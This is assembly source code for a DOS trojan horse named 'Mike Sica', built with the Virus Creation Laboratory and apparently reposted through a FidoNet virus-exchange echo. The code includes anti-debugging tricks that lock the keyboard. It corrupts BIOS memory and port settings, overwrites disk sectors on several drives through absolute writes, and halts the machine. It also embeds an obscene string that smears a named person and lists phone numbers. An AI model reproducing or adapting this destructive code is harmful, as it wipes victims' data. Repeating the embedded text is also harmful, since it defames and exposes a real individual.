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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir20.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 10 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : VCLMIKES.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Ron Toler, 2:283/718 (06 Nov 94 16:27)
;* To : Viral Doctor
;* Subj : VCLMIKES.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
; MIKESICA.ASM -- Mike Sica v1.0
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Digital Justice
virus_type equ 3 ; Trojan Horse
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov ah,0Fh ; BIOS get video mode function
int 010h
xor ah,ah ; BIOS set video mode function
int 010h
mov dx,0045h ; First argument is 69
push es ; Save ES
mov ax,040h ; Set extra segment to 040h
mov es,ax ; (ROM BIOS)
mov word ptr es:[013h],dx ; Store new RAM ammount
pop es ; Restore ES
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 0407h],0 ; Zero LPT port address
pop es ; Restore ES
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
mov ax,0002h ; First argument is 2
mov cx,0064h ; Second argument is 100
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
trash_loop: int 026h ; DOS absolute write interrupt
dec ax ; Select the previous disk
cmp ax,-1 ; Have we gone too far?
jne trash_loop ; If not, repeat with new drive
sti ; Restore interrupts
cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
mov cx,0045h ; First argument is 69
jcxz beep_end ; Exit if there are no beeps
mov ax,0E07h ; BIOS display char., BEL
beep_loop: int 010h ; Beep
loop beep_loop ; Beep until --CX = 0
beep_end:
mov ax,04C00h ; DOS terminate function
int 021h
main endp
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "!! Written By Mike Sica !!"
db "I Suck Big Phat Hairy Cocks!!"
db "Call Anytime Phor Good Head:"
db "794-0533 or 794-3626"
db "Both In The 804 Area Code!!"
finish label near
code ends
end main
;-+- GEcho 1.10+
; + Origin: Data Fellows BBS (2:283/718)
;=============================================================================
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;/x Include false conditionals in listing
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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